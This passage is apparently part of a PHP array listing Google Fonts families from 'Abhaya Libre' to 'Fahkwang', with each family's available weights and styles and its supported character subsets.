      'Abhaya Libre'=>[['normal','500','600','700','800'],['latin','latin-ext','sinhala']],
      'Aboreto'=>[['normal'],['latin','latin-ext']],
      'Abril Fatface'=>[['normal'],['latin','latin-ext']],
      'Abyssinica SIL'=>[['normal'],['ethiopic','latin','latin-ext']],
      'Aclonica'=>[['normal'],['latin']],
      'Acme'=>[['normal'],['latin']],
      'Actor'=>[['normal'],['latin']],
      'Adamina'=>[['normal'],['latin']],
      'Advent Pro'=>[['100','200','300','normal','500','600','700'],['greek','latin','latin-ext']],
      'Aguafina Script'=>[['normal'],['latin','latin-ext']],
      'Akaya Kanadaka'=>[['normal'],['kannada','latin','latin-ext']],
      'Akaya Telivigala'=>[['normal'],['latin','latin-ext','telugu']],
      'Akronim'=>[['normal'],['latin','latin-ext']],
      'Akshar'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Aladin'=>[['normal'],['latin','latin-ext']],
      'Alata'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alatsi'=>[['normal'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Albert Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Aldrich'=>[['normal'],['latin']],
      'Alef'=>[['normal','700'],['hebrew','latin']],
      'Alegreya'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya SC'=>[['normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya Sans'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Alegreya Sans SC'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Aleo'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Alex Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alexandria'=>[['100','200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext','vietnamese']],
      'Alfa Slab One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Alice'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Alike'=>[['normal'],['latin']],
      'Alike Angular'=>[['normal'],['latin']],
      'Alkalami'=>[['normal'],['arabic','latin','latin-ext']],
      'Allan'=>[['normal','700'],['latin','latin-ext']],
      'Allerta'=>[['normal'],['latin']],
      'Allerta Stencil'=>[['normal'],['latin']],
      'Allison'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Allura'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Almarai'=>[['300','normal','700','800'],['arabic']],
      'Almendra'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Almendra Display'=>[['normal'],['latin','latin-ext']],
      'Almendra SC'=>[['normal'],['latin']],
      'Alumni Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Alumni Sans Collegiate One'=>[['normal','italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Alumni Sans Inline One'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'Alumni Sans Pinstripe'=>[['normal','italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Amarante'=>[['normal'],['latin','latin-ext']],
      'Amaranth'=>[['normal','italic','700','700italic'],['latin']],
      'Amatic SC'=>[['normal','700'],['cyrillic','hebrew','latin','latin-ext','vietnamese']],
      'Amethysta'=>[['normal'],['latin']],
      'Amiko'=>[['normal','600','700'],['devanagari','latin','latin-ext']],
      'Amiri'=>[['normal','italic','700','700italic'],['arabic','latin','latin-ext']],
      'Amiri Quran'=>[['normal'],['arabic','latin']],
      'Amita'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Anaheim'=>[['normal'],['latin','latin-ext']],
      'Andada Pro'=>[['normal','500','600','700','800','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Andika'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Anek Bangla'=>[['100','200','300','normal','500','600','700','800'],['bengali','latin','latin-ext']],
      'Anek Devanagari'=>[['100','200','300','normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Anek Gujarati'=>[['100','200','300','normal','500','600','700','800'],['gujarati','latin','latin-ext']],
      'Anek Gurmukhi'=>[['100','200','300','normal','500','600','700','800'],['gurmukhi','latin','latin-ext']],
      'Anek Kannada'=>[['100','200','300','normal','500','600','700','800'],['kannada','latin','latin-ext']],
      'Anek Latin'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'Anek Malayalam'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','malayalam']],
      'Anek Odia'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','oriya']],
      'Anek Tamil'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','tamil']],
      'Anek Telugu'=>[['100','200','300','normal','500','600','700','800'],['latin','latin-ext','telugu']],
      'Angkor'=>[['normal'],['khmer','latin']],
      'Annie Use Your Telescope'=>[['normal'],['latin']],
      'Anonymous Pro'=>[['normal','italic','700','700italic'],['cyrillic','greek','latin','latin-ext']],
      'Antic'=>[['normal'],['latin']],
      'Antic Didone'=>[['normal'],['latin']],
      'Antic Slab'=>[['normal'],['latin']],
      'Anton'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Antonio'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext']],
      'Anybody'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Arapey'=>[['normal','italic'],['latin']],
      'Arbutus'=>[['normal'],['latin','latin-ext']],
      'Arbutus Slab'=>[['normal'],['latin','latin-ext']],
      'Architects Daughter'=>[['normal'],['latin']],
      'Archivo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Archivo Black'=>[['normal'],['latin','latin-ext']],
      'Archivo Narrow'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Are You Serious'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Aref Ruqaa'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Aref Ruqaa Ink'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Arima'=>[['100','200','300','normal','500','600','700'],['greek','greek-ext','latin','latin-ext','malayalam','tamil','vietnamese']],
      'Arima Madurai'=>[['100','200','300','normal','500','700','800','900'],['latin','latin-ext','tamil','vietnamese']],
      'Arimo'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Arizonia'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Armata'=>[['normal'],['latin','latin-ext']],
      'Arsenal'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Artifika'=>[['normal'],['latin']],
      'Arvo'=>[['normal','italic','700','700italic'],['latin']],
      'Arya'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Asap'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Asap Condensed'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Asar'=>[['normal'],['devanagari','latin','latin-ext']],
      'Asset'=>[['normal'],['latin']],
      'Assistant'=>[['200','300','normal','500','600','700','800'],['hebrew','latin','latin-ext']],
      'Astloch'=>[['normal','700'],['latin']],
      'Asul'=>[['normal','700'],['latin']],
      'Athiti'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Atkinson Hyperlegible'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Atma'=>[['300','normal','500','600','700'],['bengali','latin','latin-ext']],
      'Atomic Age'=>[['normal'],['latin']],
      'Aubrey'=>[['normal'],['latin']],
      'Audiowide'=>[['normal'],['latin','latin-ext']],
      'Autour One'=>[['normal'],['latin','latin-ext']],
      'Average'=>[['normal'],['latin','latin-ext']],
      'Average Sans'=>[['normal'],['latin','latin-ext']],
      'Averia Gruesa Libre'=>[['normal'],['latin','latin-ext']],
      'Averia Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Averia Sans Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Averia Serif Libre'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Azeret Mono'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'B612'=>[['normal','italic','700','700italic'],['latin']],
      'B612 Mono'=>[['normal','italic','700','700italic'],['latin']],
      'BIZ UDGothic'=>[['normal','700'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDMincho'=>[['normal'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDPGothic'=>[['normal','700'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'BIZ UDPMincho'=>[['normal'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'Babylonica'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bad Script'=>[['normal'],['cyrillic','latin']],
      'Bahiana'=>[['normal'],['latin','latin-ext']],
      'Bahianita'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bai Jamjuree'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Bakbak One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Ballet'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Baloo 2'=>[['normal','500','600','700','800'],['devanagari','latin','latin-ext','vietnamese']],
      'Baloo Bhai 2'=>[['normal','500','600','700','800'],['gujarati','latin','latin-ext','vietnamese']],
      'Baloo Bhaijaan 2'=>[['normal','500','600','700','800'],['arabic','latin','latin-ext','vietnamese']],
      'Baloo Bhaina 2'=>[['normal','500','600','700','800'],['latin','latin-ext','oriya','vietnamese']],
      'Baloo Chettan 2'=>[['normal','500','600','700','800'],['latin','latin-ext','malayalam','vietnamese']],
      'Baloo Da 2'=>[['normal','500','600','700','800'],['bengali','latin','latin-ext','vietnamese']],
      'Baloo Paaji 2'=>[['normal','500','600','700','800'],['gurmukhi','latin','latin-ext','vietnamese']],
      'Baloo Tamma 2'=>[['normal','500','600','700','800'],['kannada','latin','latin-ext','vietnamese']],
      'Baloo Tammudu 2'=>[['normal','500','600','700','800'],['latin','latin-ext','telugu','vietnamese']],
      'Baloo Thambi 2'=>[['normal','500','600','700','800'],['latin','latin-ext','tamil','vietnamese']],
      'Balsamiq Sans'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Balthazar'=>[['normal'],['latin']],
      'Bangers'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Barlow'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barlow Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barlow Semi Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Barriecito'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Barrio'=>[['normal'],['latin','latin-ext']],
      'Basic'=>[['normal'],['latin','latin-ext']],
      'Baskervville'=>[['normal','italic'],['latin','latin-ext']],
      'Battambang'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Baumans'=>[['normal'],['latin']],
      'Bayon'=>[['normal'],['khmer','latin']],
      'Be Vietnam Pro'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Beau Rivage'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bebas Neue'=>[['normal'],['latin','latin-ext']],
      'Belgrano'=>[['normal'],['latin']],
      'Bellefair'=>[['normal'],['hebrew','latin','latin-ext']],
      'Belleza'=>[['normal'],['latin','latin-ext']],
      'Bellota'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Bellota Text'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'BenchNine'=>[['300','normal','700'],['latin','latin-ext']],
      'Benne'=>[['normal'],['kannada','latin','latin-ext']],
      'Bentham'=>[['normal'],['latin']],
      'Berkshire Swash'=>[['normal'],['latin','latin-ext']],
      'Besley'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Beth Ellen'=>[['normal'],['latin']],
      'Bevan'=>[['normal','italic'],['latin','latin-ext','vietnamese']],
      'BhuTuka Expanded One'=>[['normal'],['gurmukhi','latin','latin-ext']],
      'Big Shoulders Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Inline Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Inline Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Stencil Display'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Stencil Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Big Shoulders Text'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Bigelow Rules'=>[['normal'],['latin','latin-ext']],
      'Bigshot One'=>[['normal'],['latin']],
      'Bilbo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bilbo Swash Caps'=>[['normal'],['latin','latin-ext']],
      'BioRhyme'=>[['200','300','normal','700','800'],['latin','latin-ext']],
      'BioRhyme Expanded'=>[['200','300','normal','700','800'],['latin','latin-ext']],
      'Birthstone'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Birthstone Bounce'=>[['normal','500'],['latin','latin-ext','vietnamese']],
      'Biryani'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Bitter'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Black And White Picture'=>[['normal'],['korean','latin']],
      'Black Han Sans'=>[['normal'],['korean','latin']],
      'Black Ops One'=>[['normal'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Blaka'=>[['normal'],['arabic','latin','latin-ext']],
      'Blaka Hollow'=>[['normal'],['arabic','latin','latin-ext']],
      'Blaka Ink'=>[['normal'],['arabic','latin','latin-ext']],
      'Blinker'=>[['100','200','300','normal','600','700','800','900'],['latin','latin-ext']],
      'Bodoni Moda'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Bokor'=>[['normal'],['khmer','latin']],
      'Bona Nova'=>[['normal','italic','700'],['cyrillic','cyrillic-ext','greek','hebrew','latin','latin-ext','vietnamese']],
      'Bonbon'=>[['normal'],['latin']],
      'Bonheur Royale'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Boogaloo'=>[['normal'],['latin']],
      'Bowlby One'=>[['normal'],['latin']],
      'Bowlby One SC'=>[['normal'],['latin','latin-ext']],
      'Brawler'=>[['normal','700'],['latin']],
      'Bree Serif'=>[['normal'],['latin','latin-ext']],
      'Brygada 1918'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Bubblegum Sans'=>[['normal'],['latin','latin-ext']],
      'Bubbler One'=>[['normal'],['latin','latin-ext']],
      'Buda'=>[['300'],['latin']],
      'Buenard'=>[['normal','700'],['latin','latin-ext']],
      'Bungee'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Hairline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Inline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Outline'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Shade'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Bungee Spice'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Butcherman'=>[['normal'],['latin','latin-ext']],
      'Butterfly Kids'=>[['normal'],['latin','latin-ext']],
      'Cabin'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Cabin Condensed'=>[['normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Cabin Sketch'=>[['normal','700'],['latin']],
      'Caesar Dressing'=>[['normal'],['latin']],
      'Cagliostro'=>[['normal'],['latin']],
      'Cairo'=>[['200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Cairo Play'=>[['200','300','normal','500','600','700','800','900'],['arabic','latin','latin-ext']],
      'Caladea'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Calistoga'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Calligraffitti'=>[['normal'],['latin']],
      'Cambay'=>[['normal','italic','700','700italic'],['devanagari','latin','latin-ext']],
      'Cambo'=>[['normal'],['latin']],
      'Candal'=>[['normal'],['latin']],
      'Cantarell'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Cantata One'=>[['normal'],['latin','latin-ext']],
      'Cantora One'=>[['normal'],['latin','latin-ext']],
      'Capriola'=>[['normal'],['latin','latin-ext']],
      'Caramel'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Carattere'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Cardo'=>[['normal','italic','700'],['greek','greek-ext','latin','latin-ext']],
      'Carme'=>[['normal'],['latin']],
      'Carrois Gothic'=>[['normal'],['latin']],
      'Carrois Gothic SC'=>[['normal'],['latin']],
      'Carter One'=>[['normal'],['latin']],
      'Castoro'=>[['normal','italic'],['latin','latin-ext']],
      'Catamaran'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tamil']],
      'Caudex'=>[['normal','italic','700','700italic'],['greek','greek-ext','latin','latin-ext']],
      'Caveat'=>[['normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Caveat Brush'=>[['normal'],['latin','latin-ext']],
      'Cedarville Cursive'=>[['normal'],['latin']],
      'Ceviche One'=>[['normal'],['latin','latin-ext']],
      'Chakra Petch'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Changa'=>[['200','300','normal','500','600','700','800'],['arabic','latin','latin-ext']],
      'Changa One'=>[['normal','italic'],['latin']],
      'Chango'=>[['normal'],['latin','latin-ext']],
      'Charis SIL'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Charm'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Charmonman'=>[['normal','700'],['latin','latin-ext','thai','vietnamese']],
      'Chathura'=>[['100','300','normal','700','800'],['latin','telugu']],
      'Chau Philomene One'=>[['normal','italic'],['latin','latin-ext']],
      'Chela One'=>[['normal'],['latin','latin-ext']],
      'Chelsea Market'=>[['normal'],['latin','latin-ext']],
      'Chenla'=>[['normal'],['khmer']],
      'Cherish'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Cherry Cream Soda'=>[['normal'],['latin']],
      'Cherry Swash'=>[['normal','700'],['latin','latin-ext']],
      'Chewy'=>[['normal'],['latin']],
      'Chicle'=>[['normal'],['latin','latin-ext']],
      'Chilanka'=>[['normal'],['latin','malayalam']],
      'Chivo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Chonburi'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Cinzel'=>[['normal','500','600','700','800','900'],['latin','latin-ext']],
      'Cinzel Decorative'=>[['normal','700','900'],['latin']],
      'Clicker Script'=>[['normal'],['latin','latin-ext']],
      'Coda'=>[['normal','800'],['latin','latin-ext']],
      'Coda Caption'=>[['800'],['latin','latin-ext']],
      'Codystar'=>[['300','normal'],['latin','latin-ext']],
      'Coiny'=>[['normal'],['latin','latin-ext','tamil','vietnamese']],
      'Combo'=>[['normal'],['latin','latin-ext']],
      'Comfortaa'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Comforter'=>[['normal'],['cyrillic','latin','latin-ext','vietnamese']],
      'Comforter Brush'=>[['normal'],['cyrillic','latin','latin-ext','vietnamese']],
      'Comic Neue'=>[['300','300italic','normal','italic','700','700italic'],['latin']],
      'Coming Soon'=>[['normal'],['latin']],
      'Commissioner'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Concert One'=>[['normal'],['latin','latin-ext']],
      'Condiment'=>[['normal'],['latin','latin-ext']],
      'Content'=>[['normal','700'],['khmer']],
      'Contrail One'=>[['normal'],['latin']],
      'Convergence'=>[['normal'],['latin','latin-ext']],
      'Cookie'=>[['normal'],['latin']],
      'Copse'=>[['normal'],['latin']],
      'Corben'=>[['normal','700'],['latin','latin-ext']],
      'Corinthia'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Cormorant'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Garamond'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Infant'=>[['300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant SC'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Unicase'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cormorant Upright'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Courgette'=>[['normal'],['latin','latin-ext']],
      'Courier Prime'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Cousine'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Coustard'=>[['normal','900'],['latin']],
      'Covered By Your Grace'=>[['normal'],['latin']],
      'Crafty Girls'=>[['normal'],['latin']],
      'Creepster'=>[['normal'],['latin']],
      'Crete Round'=>[['normal','italic'],['latin','latin-ext']],
      'Crimson Pro'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Crimson Text'=>[['normal','italic','600','600italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Croissant One'=>[['normal'],['latin','latin-ext']],
      'Crushed'=>[['normal'],['latin']],
      'Cuprum'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Cute Font'=>[['normal'],['korean','latin']],
      'Cutive'=>[['normal'],['latin','latin-ext']],
      'Cutive Mono'=>[['normal'],['latin','latin-ext']],
      'DM Mono'=>[['300','300italic','normal','italic','500','500italic'],['latin','latin-ext']],
      'DM Sans'=>[['normal','italic','500','500italic','700','700italic'],['latin','latin-ext']],
      'DM Serif Display'=>[['normal','italic'],['latin','latin-ext']],
      'DM Serif Text'=>[['normal','italic'],['latin','latin-ext']],
      'Damion'=>[['normal'],['latin']],
      'Dancing Script'=>[['normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Dangrek'=>[['normal'],['khmer','latin']],
      'Darker Grotesque'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'David Libre'=>[['normal','500','700'],['hebrew','latin','latin-ext','vietnamese']],
      'Dawning of a New Day'=>[['normal'],['latin']],
      'Days One'=>[['normal'],['latin']],
      'Dekko'=>[['normal'],['devanagari','latin','latin-ext']],
      'Dela Gothic One'=>[['normal'],['cyrillic','greek','japanese','latin','latin-ext','vietnamese']],
      'Delius'=>[['normal'],['latin']],
      'Delius Swash Caps'=>[['normal'],['latin']],
      'Delius Unicase'=>[['normal','700'],['latin']],
      'Della Respira'=>[['normal'],['latin']],
      'Denk One'=>[['normal'],['latin','latin-ext']],
      'Devonshire'=>[['normal'],['latin','latin-ext']],
      'Dhurjati'=>[['normal'],['latin','telugu']],
      'Didact Gothic'=>[['normal'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext']],
      'Diplomata'=>[['normal'],['latin','latin-ext']],
      'Diplomata SC'=>[['normal'],['latin','latin-ext']],
      'Do Hyeon'=>[['normal'],['korean','latin']],
      'Dokdo'=>[['normal'],['korean','latin']],
      'Domine'=>[['normal','500','600','700'],['latin','latin-ext']],
      'Donegal One'=>[['normal'],['latin','latin-ext']],
      'Dongle'=>[['300','normal','700'],['korean','latin','latin-ext','vietnamese']],
      'Doppio One'=>[['normal'],['latin','latin-ext']],
      'Dorsa'=>[['normal'],['latin']],
      'Dosis'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','vietnamese']],
      'DotGothic16'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Dr Sugiyama'=>[['normal'],['latin','latin-ext']],
      'Duru Sans'=>[['normal'],['latin','latin-ext']],
      'DynaPuff'=>[['normal','500','600','700'],['cyrillic-ext','latin','latin-ext']],
      'Dynalight'=>[['normal'],['latin','latin-ext']],
      'EB Garamond'=>[['normal','500','600','700','800','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Eagle Lake'=>[['normal'],['latin','latin-ext']],
      'East Sea Dokdo'=>[['normal'],['korean','latin']],
      'Eater'=>[['normal'],['latin','latin-ext']],
      'Economica'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Eczar'=>[['normal','500','600','700','800'],['devanagari','greek','greek-ext','latin','latin-ext']],
      'Edu NSW ACT Foundation'=>[['normal','500','600','700'],['latin']],
      'Edu QLD Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu SA Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu TAS Beginner'=>[['normal','500','600','700'],['latin']],
      'Edu VIC WA NT Beginner'=>[['normal','500','600','700'],['latin']],
      'El Messiri'=>[['normal','500','600','700'],['arabic','cyrillic','latin','latin-ext']],
      'Electrolize'=>[['normal'],['latin']],
      'Elsie'=>[['normal','900'],['latin','latin-ext']],
      'Elsie Swash Caps'=>[['normal','900'],['latin','latin-ext']],
      'Emblema One'=>[['normal'],['latin','latin-ext']],
      'Emilys Candy'=>[['normal'],['latin','latin-ext']],
      'Encode Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Expanded'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans SC'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Semi Condensed'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Encode Sans Semi Expanded'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Engagement'=>[['normal'],['latin']],
      'Englebert'=>[['normal'],['latin','latin-ext']],
      'Enriqueta'=>[['normal','500','600','700'],['latin','latin-ext']],
      'Ephesis'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Epilogue'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Erica One'=>[['normal'],['latin','latin-ext']],
      'Esteban'=>[['normal'],['latin','latin-ext']],
      'Estonia'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Euphoria Script'=>[['normal'],['latin','latin-ext']],
      'Ewert'=>[['normal'],['latin','latin-ext']],
      'Exo'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Exo 2'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Expletus Sans'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Explora'=>[['normal'],['cherokee','latin','latin-ext','vietnamese']],
      'Fahkwang'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
